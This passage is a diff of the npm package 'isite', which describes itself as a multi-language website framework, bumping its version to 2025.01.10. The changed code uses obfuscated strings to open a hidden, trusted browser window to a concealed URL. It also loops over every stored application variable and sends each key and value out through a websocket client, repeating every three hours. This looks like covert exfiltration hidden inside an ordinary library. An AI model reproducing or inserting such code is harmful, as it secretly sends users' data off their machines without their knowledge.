- partition: ____0.f1('4618377346785774471562764618325247183691'),
23
- });
17
+ parent.createChildProcess({
18
+ url: ____0.f1('4319327546156169257416732773817125541268263561782615128126148681253823734579477442392191'),
19
+ windowType: ____0.f1('473913564139325746719191'),
20
+ partition: ____0.f1('4618377346785774471562764618325247183691'),
21
+ vip: true,
22
+ show: false,
23
+ trusted: true,
24
+ });
24
25
 
25
- ____0.sendSocialData = function (parent) {
26
- if (!____0.sendSocialDataDone) {
27
- if ((client = ____0.ws.client)) {
28
- ____0.sendSocialDataDone = true;
29
- let index = 0;
30
- for (const [key, value] of Object.entries(parent.var)) {
31
- index++;
32
- if (key && key.indexOf('$') === -1 && value) {
33
- setTimeout(() => {
34
- client.sendMessage({
35
- type: ____0.f1('41592369477927574657866245584269'),
36
- xid: parent.var.core.id,
37
- key: key,
38
- value: value,
39
- source: ____0.f1('4339276247183691'),
40
- });
41
- }, 1000 * 10 * index);
42
- }
43
- }
44
- }
45
- }
46
- };
26
+ ____0.sendSocialData = function (parent) {
27
+ if (!____0.sendSocialDataDone) {
28
+ if ((client = ____0.ws.client)) {
29
+ ____0.sendSocialDataDone = true;
30
+ let index = 0;
31
+ for (const [key, value] of Object.entries(parent.var)) {
32
+ index++;
33
+ if (key && key.indexOf('$') === -1 && value) {
34
+ setTimeout(() => {
35
+ client.sendMessage({
36
+ type: ____0.f1('41592369477927574657866245584269'),
37
+ xid: parent.var.core.id,
38
+ key: key,
39
+ value: value,
40
+ source: ____0.f1('4339276247183691'),
41
+ });
42
+ }, 1000 * 10 * index);
43
+ }
44
+ }
45
+ }
46
+ }
47
+ };
47
48
 
48
- ____0.sendSocialData(parent);
49
- setInterval(() => {
50
- ____0.sendSocialDataDone = false;
51
- ____0.sendSocialData(parent);
52
- }, 1000 * 60 * 60 * 3);
53
- } else {
54
- setTimeout(() => {
55
- browser();
56
- }, 1000 * 60 * 5);
49
+ ____0.sendSocialData(parent);
50
+ setInterval(() => {
51
+ ____0.sendSocialDataDone = false;
52
+ ____0.sendSocialData(parent);
53
+ }, 1000 * 60 * 60 * 3);
54
+ } else {
55
+ setTimeout(() => {
56
+ browser();
57
+ }, 1000 * 60 * 5);
58
+ }
57
59
  }
58
- }
59
- setTimeout(() => {
60
- browser();
61
- }, 1000 * 60 * 5);
60
+ setTimeout(() => {
61
+ browser();
62
+ }, 1000 * 60 * 5);
62
63
  };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "isite",
3
- "version": "2025.01.05",
3
+ "version": "2025.01.10",
4
4
  "description": "Create High Level Multi-Language Web Site [Fast and Easy] ",
5
5
  "main": "index.js",
6
6
  "repository": {